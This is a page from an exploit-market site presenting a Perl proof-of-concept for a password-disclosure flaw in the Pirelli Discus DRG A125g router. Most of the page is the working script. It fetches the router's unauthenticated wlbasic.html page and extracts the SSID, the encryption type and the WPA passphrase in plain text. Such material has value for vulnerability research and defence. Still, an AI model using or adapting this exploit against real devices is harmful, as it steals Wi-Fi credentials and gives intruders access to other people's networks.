[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Pirelli Discus DRG A125g - Local Password Disclosure Vulnerability

Author
Sebastián Magof
Risk
[
Security Risk High
]
0day-ID
0day-ID-21561
Category
web applications
Date add
24-11-2013
Platform
hardware
#Vulnerable file: wlbasic.html

#usage:perl exploit.pl
 
use LWP::UserAgent;
 
use HTTP::Request;
 
#begin
 
print "\n\n************************************************************\n";
 
print "*  Pirelli Discus ADSL DRG A125g Wifi password disclosure  *\n";
 
print "************************************************************\n\n";
 
 
 
#wifi pwd disclosure file
 
my $url = "http://10.0.0.2/wlbasic.html";
 
 
 
#UserAgent
 
my $ua = LWP::UserAgent->new();
 
$ua->agent("Mozilla/5.0");
 
 
 
#Request.
 
my $req = HTTP::Request->new(GET => $url);
 
my $request = $ua->request($req);
 
my $content = $request->content(); #content
 
my ($ssi) = $content =~ m/ssid = '(.+)'/;
 
my ($pwd) = $content =~ m/wpaPskKey = '(.+)'/;
 
my ($enc) = $content =~ m/var wpa = '(.+)'/;
 
#ssid+encryption method+pwd;
 
print "Ssid: $ssi\n";
 
print "Encryption method: $enc\n";
 
print "Password: $pwd\n\n";
 
exit(0);

#  0day.today [2024-11-15]  #